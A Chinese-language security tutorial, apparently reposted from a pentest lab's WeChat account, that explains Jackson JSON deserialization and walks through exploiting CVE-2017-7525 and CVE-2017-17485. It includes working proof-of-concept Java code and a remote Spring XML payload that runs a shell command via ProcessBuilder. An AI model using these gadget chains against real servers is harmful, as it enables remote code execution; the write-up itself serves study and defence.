深入浅出解析Jackson反序列化

admin 2024年4月22日07:47:57评论9 views字数 14221阅读47分24秒阅读模式

Jackson介绍

Jackson是一个流行的Java库,用于处理JSON格式的数据。它提供了一组功能强大的工具,可以方便地在Java对象和JSON之间进行转换。以下是关于Jackson库的介绍:

Jackson库包括三个主要的模块:jackson-databindjackson-annotationsjackson-core

  1. jackson-databind模块:这是Jackson库的核心模块,提供了将Java对象序列化为JSON格式以及将JSON格式反序列化为Java对象的功能。它包含了ObjectMapper类,用于执行对象和JSON之间的转换操作,以及一些注解(如@JsonProperty@JsonIgnore等),用于控制对象和JSON属性之间的映射关系。

  2. jackson-annotations模块:这个模块包含了一些用于对Java对象进行标记的注解,用于指示Jackson库如何处理对象的序列化和反序列化。这些注解使得开发人员可以在对象上方便地定义与JSON映射相关的信息,例如指定属性名、忽略某些属性等。

  3. jackson-core模块:这个模块提供了用于处理JSON数据的低级API,例如读取和写入JSON流、构建JSON树结构等。虽然大多数开发人员更倾向于使用jackson-databind模块,但在一些特定的场景下,直接使用jackson-core模块也是非常有用的。

    Jackson 功能很强大,既能满足简单的序列化和反序列化操作,也能实现复杂的、个性化的序列化和反序列化操作。到目前为止,Jackson 的序列化和反序列化性能都非常优秀,已经是国内外大部分 JSON 相关编程的首选工具。Jackson从 2.0 开始改用新的包名 fasterxml,1.x 版本的包名是 codehaus。除了包名不同,他们的 Maven artifact id 也不同。1.x 版本现在只提供 bug-fix,而 2.x 版本还在不断开发和发布中。如果是新项目,建议直接用 2x,即 fasterxml jackson。

Jackson使用

序列化

需要使用的是ObjectMapper类,ObjectMapper是Jackson库中的核心类之一,它提供了在Java对象和JSON之间进行转换的方法。ObjectMapper可以将Java对象序列化为JSON格式的字符串,也可以从JSON格式的字符串中反序列化出Java对象。使用ObjectMapper序列化对象需要用到如下三个方法,可以将类序列化成字符串/字节的形式

  • writeValue()
  • writeValueAsString()
  • writeValueAsBytes()

TestUser类如下:此时我们只有两个属性,分别是String类型的name以及int类型的age

package org.example;

public class TestUser {
    public String name;
    public int age;

    public Object child;

    public TestUser(String n,int a,Object o){
        this.name=n;
        this.age=a;
        this.child=o;
    }

    public void setName(String n){
        this.name=n;
    }

    public String  getName(){
        return this.name;
    }

    public void setAge(int a){
        this.age=a;
    }
    public int getAge(){
        return this.age;
    }

    public Object getChild() {
        return child;
    }

    public void getChild(Object child) {
        this.child = child;
    }
}

序列化一个TestUser类,代码以及结果如下:

深入浅出解析Jackson反序列化

反序列化

依旧是使用ObjectMapper类的readValue方法

深入浅出解析Jackson反序列化

坑1:如果此时TestUser没有无参构造方法,程序会报错,具体原因请看下文

Jackson的多态处理

多态就是不同类实现了同一个接口,对接口中的方法实现不同。

在Jackson中,JacksonPolymorphicDeserialization是用于处理多态类型的反序列化的特性。如果一个JSON字符串包含了不同子类的对象,并且这些对象是在运行时动态决定的,则可以使用JacksonPolymorphicDeserialization来反序列化这些对象。主要有以下两个方法

  • 在父类中添加@JsonTypeInfo注解
  • 在反序列化时使用ObjectMapper.enableDefaultTyping

在父类中添加@JsonTypeInfo注解,该注解指示Jackson序列化和反序列化时应该包含哪些类型信息。例如,假设有一个名为Vehicle的抽象类,它有两个子类CarTruck,则可以在Vehicle类上添加如下注解:

@JsonTypeInfo(
    use = JsonTypeInfo.Id.NAME,
    include = JsonTypeInfo.As.PROPERTY,
    property = "type"
)
@JsonSubTypes({
    @JsonSubTypes.Type(value = Car.classname "car"),
    @JsonSubTypes.Type(value = Truck.classname "truck")
})
public abstract class Vehicle {
   // ...
}

使用ObjectMapper.enableDefaultTyping方法启用默认的类型处理机制。例如,假设我们有一个JSON字符串如下:

{
  "type""car",
  "make""Toyota",
  "model""Camry"
}

我们可以使用以下代码将其反序列化为Vehicle类型的对象:

javaCopy CodeObjectMapper objectMapper = new ObjectMapper().enableDefaultTyping();
String json = "{"type":"car","make":"Toyota","model":"Camry"}";
Vehicle vehicle = objectMapper.readValue(json, Vehicle.class);

其中,DefaultTyping包函四个类型,分别如下:具体含义在源码的注释当中都有,就不再赘述

public enum DefaultTyping {
    /**
     * This value means that only properties that have
     * {@link java.lang.Object} as declared type (including
     * generic types without explicit type) will use default
     * typing.
     */

    JAVA_LANG_OBJECT,
    
    /**
     * Value that means that default typing will be used for
     * properties with declared type of {@link java.lang.Object}
     * or an abstract type (abstract class or interface).
     * Note that this does <b>not</b> include array types.
     *<p>
     * Since 2.4, this does NOT apply to {@link TreeNode} and its subtypes.
     */

    OBJECT_AND_NON_CONCRETE,

    /**
     * Value that means that default typing will be used for
     * all types covered by {@link #OBJECT_AND_NON_CONCRETE}
     * plus all array types for them.
     *<p>
     * Since 2.4, this does NOT apply to {@link TreeNode} and its subtypes.
     */

    NON_CONCRETE_AND_ARRAYS,
    
    /**
     * Value that means that default typing will be used for
     * all non-final types, with exception of small number of
     * "natural" types (String, Boolean, Integer, Double), which
     * can be correctly inferred from JSON; as well as for
     * all arrays of non-final types.
     *<p>
     * Since 2.4, this does NOT apply to {@link TreeNode} and its subtypes.
     */

    NON_FINAL
}
DefaultTyping类型 描述说明
JAVA_LANG_OBJECT 属性的类型为Object
OBJECT_AND_NON_CONCRETE 属性的类型为Object、Interface、AbstractClass
NON_CONCRETE_AND_ARRAYS 属性的类型为Object、Interface、AbstractClass、Array
NON_FINAL 所有除了声明为final之外的属性

Jackson反序列化流程分析

在readValue方法下断点,进入_readMapAndClose方法

    public <T> readValue(String content, Class<T> valueType)
        throws IOException, JsonParseException, JsonMappingException
    
{
     // !!! TODO
//      _setupClassLoaderForDeserialization(valueType);
        return (T) _readMapAndClose(_jsonFactory.createParser(content), _typeFactory.constructType(valueType));
    } 

接着在_readMapAndClose方法中获取了反序列化Config以及创建了反序列化上下文和deser,调用deser的deserialize方法

深入浅出解析Jackson反序列化

继续调用vanillaDeserialize方法

深入浅出解析Jackson反序列化

vanillaDeserialize中会调用_valueInstantiator.createUsingDefault(ctxt);,我们来读一下createUsingDefault的注释:

Method called to create value instance from a JSON value when no data needs to passed to creator (constructor, factory method); typically this will call the default constructor of the value object. It will only be used if more specific creator methods are not applicable; hence "default". This method is called if getFromObjectArguments returns null or empty List.

在Jackson库中,当反序列化一个JSON对象时,需要将JSON值映射到Java对象上。其中一个重要的步骤是创建Java对象的实例。DefaultValueInstantiator类就是负责创建Java对象实例的类。当在反序列化过程中需要创建Java对象实例时,Jackson会调用DefaultValueInstantiator类中的createUsingDefault方法来创建默认实例。

该方法的作用是从JSON值中创建Java对象实例,当没有任何数据需要传递到构造函数或者工厂方法中时,通常会调用值对象的默认构造函数来创建对象。如果没有更具体的创建方法,则该方法将被使用。

具体来说,如果在反序列化过程中没有从JSON值中提取出必要的参数值,或者获得的参数值为null或空列表,那么就会调用createUsingDefault方法来创建Java对象的实例。

深入浅出解析Jackson反序列化

跟进createUsingDefault方法,调用_defaultCreator.call()

深入浅出解析Jackson反序列化

在call方法中调用_constructor.newInstance(),newInstance是调用无参构造方法,这也就解释了上文中的坑1。

深入浅出解析Jackson反序列化

继续回到vanillaDeserialize方法,在do-while循环中依次获取属性名,调用deserializeAndSet方法来解析并设置Bean的属性值。

深入浅出解析Jackson反序列化

跟进deserializeAndSet方法,反序列化获得了值,并且调用_setter.invoke方法,此时_setter为对应属性名的Setter方法。

深入浅出解析Jackson反序列化

依次类推,到最后还会调用到属性当中类的Getter方法,这里直接拿下文TemplatesImpl链的图来展示。

深入浅出解析Jackson反序列化

Jackson反序列化漏洞前提

满足下面三个条件之一即存在Jackson反序列化漏洞:

  • 调用了ObjectMapper.enableDefaultTyping()函数
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解

并且上文提到,会调用类的getter和setter方法,我们需要按照这个前提去进行构造我们的payload。

CVE-2017-7525

影响版本

FasterXML Jackson-databind < 2.6.7.1 FasterXML Jackson-databind < 2.7.9.1 FasterXML Jackson-databind < 2.8.9

TemplatesImpl链

上文提到,反序列化时会调用Object的setter和getter方法,熟悉CC3链的读者应该知道,从CC3这条反序列化链中我们可以调用TemplatesImpl的getOutputProperties来加载我们恶意类的字节码,因此我们可以直接构造JSON,含有一个OutputProperties属性,我们就可以直接利用了。

深入浅出解析Jackson反序列化

package org.example;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.newrelic.org.apache.axis.encoding.Base64;
import java.io.IOException;

public class CVE_2017_7525_tpl
{
    public static void main(String[] args) throws IOException {
        String exp = Base64.encode(ClassFileReader.readClassFile("/Users/ch1e/Desktop/Evil.class"));
        String jsonInput = aposToQuotes("{"object":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',n" +
                "{n" +
                "'transletBytecodes':['"+exp+"'],n" +
                "'transletName':'xxx',n" +
                "'outputProperties':{}n" +
                "}n" +
                "]n" +
                "}");
        System.out.printf(jsonInput);
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        User user;
        try {
            user = mapper.readValue(jsonInput, User.class);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static String aposToQuotes(String json){
        return json.replace("'",""");
    }

}

但是其实真实环境中比较难以利用,因为只支持部分JDK7和8的版本,本文实际使用的版本为7u21,具体其他版本是否可用需要读者自行尝试。

具体原因也比较简单,在CC3中,需要设置一个_factory属性,但是我们如果在payload中添加该属性,程序会报错:com.fasterxml.jackson.databind.exc.UnrecognizedPropertyException: Unrecognized field "_factory" (class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl), not marked as ignorable (5 known properties: "uriresolver", "transletBytecodes", "outputProperties", "transletName", "stylesheetDOM"])

说明Jackson不支持我们添加_tfactory属性。

JdbcRowSetImpl链

上文说到会调用Getter和Setter方法,那么也可以使用JdbcRowSetImpl链来攻击,相比于TemplatesImpl,JdbcRowSetImpl因为jdk版本受到的限制比较少,具体版本如下,但是相比于TemplatesImpl,JdbcRowSetImpl需要目标服务器出网环境。

深入浅出解析Jackson反序列化

直接在setDataSourceName方法处下断点,调用父类setDataSourceName方法

深入浅出解析Jackson反序列化

在setAutoCommit中调用connect方法

深入浅出解析Jackson反序列化

在connect方法中,调用了InitialContext#lookup方法,此时的datasourcename会被传入lookup方法当中。

深入浅出解析Jackson反序列化

深入浅出解析Jackson反序列化

CVE-2017-17485

影响版本

Jackson 2.7系列 < 2.7.9.2

Jackson 2.8系列 < 2.8.11

Jackson 2.9系列 < 2.9.4

ClassPathXmlApplicationContext链

在2.7.9.1版本中,加了反序列化类的黑名单,因此我们不得不找到新的链子。

https://github.com/FasterXML/jackson-databind/blob/jackson-databind-2.7.9.1/src/main/java/com/fasterxml/jackson/databind/deser/BeanDeserializerFactory.java

前面所提到的TemplatesImpl和JdbcRowSetImpl都是在getter当中触发的命令执行或者JNDI注入,ClassPathXmlApplicationContext链是在构造方法当中触发的Spel表达式注入。在构造方法中调用父类构造方法,这会一直调用下去,函数会进入到refresh方法当中

深入浅出解析Jackson反序列化

refresh方法它的作用是刷新应用上下文,也就是启动或刷新Spring容器,并加载或重新加载配置文件。其中有个关键的方法,finishBeanFactoryInitialization方法完成Bean工厂的初始化,包括实例化所有非懒加载的单例bean,解决它们之间的依赖关系等。一直往上下,直到程序走到DefaultListableBeanFactory#preInstantiateSingletons方法,其中调用getBean方法从配置文件中获取Bean

深入浅出解析Jackson反序列化

深入浅出解析Jackson反序列化

堆栈如下:

start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
execute:120, ReflectiveMethodExecutor (org.springframework.expression.spel.support)
getValueInternal:134, MethodReference (org.springframework.expression.spel.ast)
access$000:53, MethodReference (org.springframework.expression.spel.ast)
getValue:360, MethodReference$MethodValueRef (org.springframework.expression.spel.ast)
getValueInternal:89, CompoundExpression (org.springframework.expression.spel.ast)
getValue:110, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:270, SpelExpression (org.springframework.expression.spel.standard)
evaluate:163, StandardBeanExpressionResolver (org.springframework.context.expression)
evaluateBeanDefinitionString:1452, AbstractBeanFactory (org.springframework.beans.factory.support)
doEvaluate:266, BeanDefinitionValueResolver (org.springframework.beans.factory.support)
evaluate:223, BeanDefinitionValueResolver (org.springframework.beans.factory.support)
resolveValueIfNecessary:191, BeanDefinitionValueResolver (org.springframework.beans.factory.support)
applyPropertyValues:1613, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
populateBean:1357, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
doCreateBean:582, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
createBean:502, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
lambda$doGetBean$0:312, AbstractBeanFactory (org.springframework.beans.factory.support)
getObject:-1, 2068598972 (org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$10)
getSingleton:228, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support)
doGetBean:310, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:200, AbstractBeanFactory (org.springframework.beans.factory.support)
preInstantiateSingletons:758, DefaultListableBeanFactory (org.springframework.beans.factory.support)
finishBeanFactoryInitialization:868, AbstractApplicationContext (org.springframework.context.support)
refresh:549, AbstractApplicationContext (org.springframework.context.support)
<init>:144, ClassPathXmlApplicationContext (org.springframework.context.support)
<init>:85, ClassPathXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createFromString:299, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
deserializeFromString:1204, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)
_deserializeOther:144, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:135, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:63, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)
_readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind)
readValue:2797, ObjectMapper (com.fasterxml.jackson.databind)
main:14, CVE_2017_17485 (org.example)

给上poc:

package org.example;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class CVE_2017_17485 {
    public static void main(String[] args)  {
        //CVE-2017-17485
        String payload = "["org.springframework.context.support.ClassPathXmlApplicationContext", "http://127.0.0.1:8000/spel.xml"]";
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        try {
            mapper.readValue(payload, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"
>

    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
            <list>
                <value>/bin/zsh</value>
                <value>-c</value>
                <value>open -a Calculator</value>
            </list>
        </constructor-arg>
        <property name="whatever" value="#{ pb.start() }"/>
    </bean>
</beans>

深入浅出解析Jackson反序列化

-END-

深入浅出解析Jackson反序列化如果本文对您有帮助,来个点赞在看就是对我们莫大的鼓励。深入浅出解析Jackson反序列化

  推荐关注:

深入浅出解析Jackson反序列化
弱口令安全实验室正式成立于2022年1月,是思而听(山东)网络科技有限公司旗下的网络安全研究团队,专注于网络攻防技术渗透测试硬件安全安全开发网络安全赛事以及网安线上教育领域研究几大板块。
团队社群氛围浓厚,同时背靠思而听(山东)网络科技有限公司旗下的“知行网络安全教育平台”作为社区,容纳同好在安全领域不断进行技术提升以及技术分享,从而形成良好闭环。

团队全员均持CISP-PTE(注册信息安全专业人员-渗透测试工程师)认证,积极参与着各类网络安全赛事并屡获佳绩,同时多次高水准的完成了国家级、省部级攻防演习活动以及相关重报工作,均得到甲方的一致青睐与肯定。

欢迎对网络安全技术感兴趣的你来加入我们实验室,可在公众号内依次点击【关于我们】-【加入我们】来获取联系方式~

原文始发于微信公众号(弱口令安全实验室):深入浅出解析Jackson反序列化

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日07:47:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   深入浅出解析Jackson反序列化http://cn-sec.com/archives/2574088.html

发表评论

匿名网友 填写信息